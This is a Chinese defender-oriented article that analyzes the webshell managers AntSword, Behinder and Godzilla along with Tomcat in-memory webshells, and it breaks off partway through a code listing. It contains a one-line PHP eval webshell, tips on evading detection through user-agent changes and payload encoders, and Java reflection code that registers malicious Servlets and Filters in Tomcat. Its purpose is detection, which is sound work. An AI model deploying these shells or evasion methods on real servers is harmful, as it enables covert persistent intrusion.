四大主流WebShell管理工具分析 | 防守方攻略

中国蚁剑与中国菜刀相比，界面更加美观、功能更加齐全，并且自定义的程度更高且开放源代码。

中国蚁剑的服务端会根据不同编码器有所变化，但还是从最基础的开始分析：

 eval($_POST["Sp4ar"]);?> //pwd表示连接密码，可以随意更换

编辑/新增记录的时候可以自定义头部字段，选择编/解码器以及一些其他设置。 中国蚁剑默认的UA头是antSword/v版本号，目前已经被很多安全产品标记 ，所以在配置的时候通常会更改，改UA头的方式有两种：一、添加Shell的时候在请求信息中添加User-Agent字段覆盖掉原始的值，二、在modules/request.js修改USER_AGENT的值。第一种方法只针对当前添加的记录生效，第二种方法针对所有的shell都生效。

中国蚁剑的编/解码器可以对请求/响应侧的流量进行编/解码以绕过流量检测，在最新版的中国蚁剑中(v2.1.11)默认的编码器有五个，解码器有三个。

（1）编码器

编码器是在发送数据到服务端之前对payload进行相关处理，目的是为了绕过请求侧的流量检测，默认的编码器：

• default编码器：不对传输的payload进行任何操作。

• base64编码器：对payload进行base64编码。

• chr编码器：对payload的所有字符都利用利用chr函数进行转换。

• chr16编码器：对payload的所有字符都利用chr函数转换，与chr编码器不同的是chr16编码器对chr函数传递的参数是十六进制。

• rot13编码器：对payload中的字母进行rot13转换。

• 以上五种编码为中国蚁剑自带的，不需要配置就可以直接使用，除此之外，还存在一个RSA编码器，该编码器将

• RSA编码器：该编码器默认不展示，需要自己配置。配置方法：在编码管理界面点击生成RSA配置生成公钥、私钥和PHP代码，然后点击新建编码器选择PHP RSA之后输入编码器的名字即可。

（2）解码器

解码器主要是对接收到的数据进相关处理，目的是为了绕过响应侧的流量检测，默认的解码器：

• default解码器：不对响应数据进行处理。

• base64解码器：将收到的数据进行base64解码。

• rot13解码器：将收到的数据进行rot13转换，由于英文字母一共26个所以置换两次之后会还原。

冰蝎Shell管理工具是一款流行的、采用二进制动态加密传输数据的网站管理工具。

（1）请求侧

（2）响应侧

1. 文件检测：文件的特征主要在解密算法部分和执行payload的部分。

2. 流量检测：由于最新版冰蝎Shell管理工具这个交互过程都采用加密传输，无法采用检测关键字的方法进行检测。相比于2.0的版本，3.0去除了协商密钥的过程，但这带来了一个问题就是，整个过程的密钥是不变的，同时分析冰蝎的源码可以发现：在传输php，jsp，aspx时前面的字段是固定的，这就导致了在一个WebShell中每一个流的前面的字节都是相同，php前面是assert|eval(base64_decode(、csharp是dll文件的头部格式、java则是class文件的头部格式。由于asp（php无法加载openssl时）采用异或对payload进行运算，根据异或的特征（两次异或即还原数据）可以使用密文以原始的payload的前十六位进行异或得到的就是密钥，再用密钥对整体数据进行解密即可还原出明文。

3. 异常进程检测：当冰蝎Shell管理工具执行命令是可以发现系统中会创建两个进程（父子关系）来执行命令。

当启用虚拟终端时同样如此。

哥斯拉Shell管理工具与冰蝎Shell管理工具类似，通信过程都是加密流量，工具界面如下：

作者已经内置了Payload以及加密器，以JavaDynamicPayload为例，我们生成一个WebShell查看代码。

Unicode解码后代码：

字符串xc为自定义秘钥(pass)MD5的前16位

拼接自定义的密码和秘钥获取md5值， 这里的md5值作为认证密码和密钥,主要代码逻辑如下：

抓取连接Shell地址过程数据包，一共进行了三次请求响应：

JavaAesBase64类初始化方法如下，加解密方法与生成的WebShell相对应：

围绕流量测的检测思路，因为其流量加密的特性，其实与冰蝎Shell管理工具想法大致相同，往往需要多种弱特征结合验证，如可以通过分析Shell连接过程的简单固有特征，结合数据统计分析来进行检测等。

内存马特点：文件无需落地，更加隐蔽。以tomcat为例，内存马分为以下三种：Servlet、Filter、Listener

（1）Servlet内存马

以一个简单的Servletdemo为例，访问url，查看tomcat对应的调用栈如下：

我们知道通过web.xml或者注解的方式可以配置自定义的servlet与url的映射。而在tomcat中，Wrapper等效于Servlet，即我们只要自定义的实现该逻辑，就可实现Servlet内存马。

Servlet3.0开始提供了动态注册filter、Servlet、Listener，这里不再赘述，感兴趣的可以自己调试验证下，主要逻辑为：

创建自定义Servlet

使用Wrapper对应进行封装

添加封装后的Wrapper到StandardContext的children当中

添加ServletMapping将访问的URL和Servlet进行绑定

如 234步骤实现代码如下：

// 获取StandardContext    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();    StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

    // 用Wrapper对其进行封装    org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();    newWrapper.setName("sangfor");    newWrapper.setLoadOnStartup(1);    newWrapper.setServlet(servlet);    newWrapper.setServletClass(servlet.getClass().getName());    // 添加封装后的恶意Wrapper到StandardContext的children当中    standardCtx.addChild(newWrapper);    // 添加ServletMapping将访问的URL和Servlet进行绑定    standardCtx.addServletMapping("/sangfor","sangfor");

（2）Filter内存马

Filter的作用，当配置了Filter后用户的请求会经过FIlter过滤后再执行到Servlet, 如果有多个Filter则会组成一个Filter链, 最后一个Filter再去执行Servlet。

Filter作为过滤器，在过滤器链（filter chain）中，往往为了filter内存马能被正常调用，会把filter内存马优先级调整为最高（放置为首），如shiro反序列化

我们需要动态实现自定义filter，添加到filterChain中。

主要逻辑如下：

1. 获取standardContext

2. 生成FilterDef、生成FilterConfig

3. 用filterDef封装filter，加入到filterConfig中

4. 将filterConfig封装添加到filterChain中

代码如下：

public class FilterBasedBasic extends HttpServlet {    @Override    protected void doGet(HttpServletRequest req, HttpServletResponse resp) {        try{            String filterName = "sangfor";            String urlPattern = "/sangfor";

            // 获取 standardContext            final ServletContext servletContext = req.getSession().getServletContext();

            Field field = servletContext.getClass().getDeclaredField("context");            field.setAccessible(true);            ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);

            field = applicationContext.getClass().getDeclaredField("context");            field.setAccessible(true);            Field modifiersField = Field.class.getDeclaredField("modifiers");            modifiersField.setAccessible(true);            modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);            StandardContext standardContext = (StandardContext) field.get(applicationContext);

            field = standardContext.getClass().getDeclaredField("filterConfigs");            field.setAccessible(true);            HashMap<String, ApplicationFilterConfig> map = (HashMap<String, ApplicationFilterConfig>) field.get(standardContext);

            if(map.get(filterName) == null){                System.out.println("[+] Add sangfor Filter");

                //生成 FilterDef                //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同，为了通用性，这里用反射来写                Class filterDefClass = null;                try{                    filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");                }catch(ClassNotFoundException e){                    filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");                }

                Object filterDef = filterDefClass.newInstance();                filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterDef, new Object[]{filterName});                Filter filter = new FilterTemplate();

                filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class}).invoke(filterDef, new Object[]{filter.getClass().getName()});                filterDef.getClass().getDeclaredMethod("setFilter", new Class[]{Filter.class}).invoke(filterDef, new Object